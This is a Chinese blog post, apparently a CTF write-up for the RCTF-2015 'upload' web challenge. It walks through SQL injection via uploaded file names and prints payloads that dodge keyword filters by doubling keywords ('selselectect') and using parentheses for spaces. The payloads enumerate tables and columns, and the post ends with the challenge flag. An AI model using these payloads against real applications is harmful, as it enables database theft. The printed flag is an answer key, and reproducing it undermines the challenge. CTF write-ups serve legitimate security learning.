攻防世界WEB进阶之upload

原创

harry_c 于 2019-08-03 19:28:16 发布 2325 收藏
分类专栏： 攻防世界 文章标签： 攻防世界 web进阶 安全 渗透 红蓝

本文链接：https://blog.csdn.net/harry_c/article/details/98367671


攻防世界 专栏收录该内容
29 篇文章 2 订阅
订阅专栏

攻防世界WEB进阶之upload

第一步：分析

难度系数： 1星
题目来源： RCTF-2015
题目描述：暂无
脑洞很大的一题，首先题目什么都没给出，进入场景，注册自己的账号，登录出现文件上传，上传很多文件都显示文件后缀不行，如实使用burpsuite的intruder功能，遍历众多文件列表，发现只有jpg文件可以上传，好吧，那就只上传它。

第二步：实操

接着进行文件上传，上传之后，文件名回显并且给出了一个id值用户的ID。
至此已经毫无头绪了，遂百度，有相关文章显示了使用sql文件名注入的方式实现。本人经过复现，发现其实场景是禁止了空格的传输，尝试很多种代替空格的办法。最后尝试到括号是可行的。
harry_jpg',‘1660’,‘1660’),((database()),‘1660’,‘1660’)#.jpg文件名可以回显出数据库的名称
“harry_’,‘1660’,‘1660’),
((SELSELECTECT(table_name)FRFROMOM(information_schema.tables)WHERE(table_schema=‘web_upload’)),‘1660’,‘1660’)#.jpg” 查询表名称的回显语句，仅仅返回了harry_的文件名其他未返回。
其他语句暂时未拼出，等待大佬解答。

- 分割线

以下内容摘自某人博客，因为无法复现，所以没有贴出链接

（1）查表名

lethe’,‘1660’,‘1660’),((selselectect(table_name) frfromom information_schema.tables where table_schema = ‘web_upload’),‘1660’,‘1660’)#.jpg

lethe’,‘1660’,‘1660’),

((%20selselectect%20group_concat(table_name)%20frfromom%20information_schema.tables%20where%20table_schema=‘web_upload’),‘1660’,‘1660’)#.jpg

lethe’,‘1660’,‘1660’),

(((**selselectect**/group_concat(table_name)/**frfromom**/information_schema.tables/**where**/table_schema=‘web_upload’),‘1660’,‘1660’)#.jpg

lethe’,‘1660’,‘1660’),(((1=0)selselectect(1=0)group_concat(table_name)

(1=0)frfromom(1=0)information_schema.tables(1=0)where(1=0)table_schema=‘web_upload’),‘1660’,‘1660’)#.jpg

（2）查列名

lethe’,‘1660’,‘1660’),((seselectlect group_concat(column_name) frfromom information_schema.columns where table_name= ‘hello_flag_is_here’),‘1660’,‘1660’)#.jpg

lethe’,‘1660’,‘1660’),

((SELSELECTECT(GROUP_CONCAT(column_name))FRFROMOM(information_schema.columns)WHERE(table_name=‘hello_flag_is_here’),‘1660’,‘1660’)#.jpg

（3）查flag

lethe’,‘1660’,‘1660’),((seselectlect i_am_flag frfromom hello_flag_is_here),‘1660’,‘1660’)#.jpg

第三步：答案

最终的flag为：RCTF{!!_@m_Th.e_F!lag}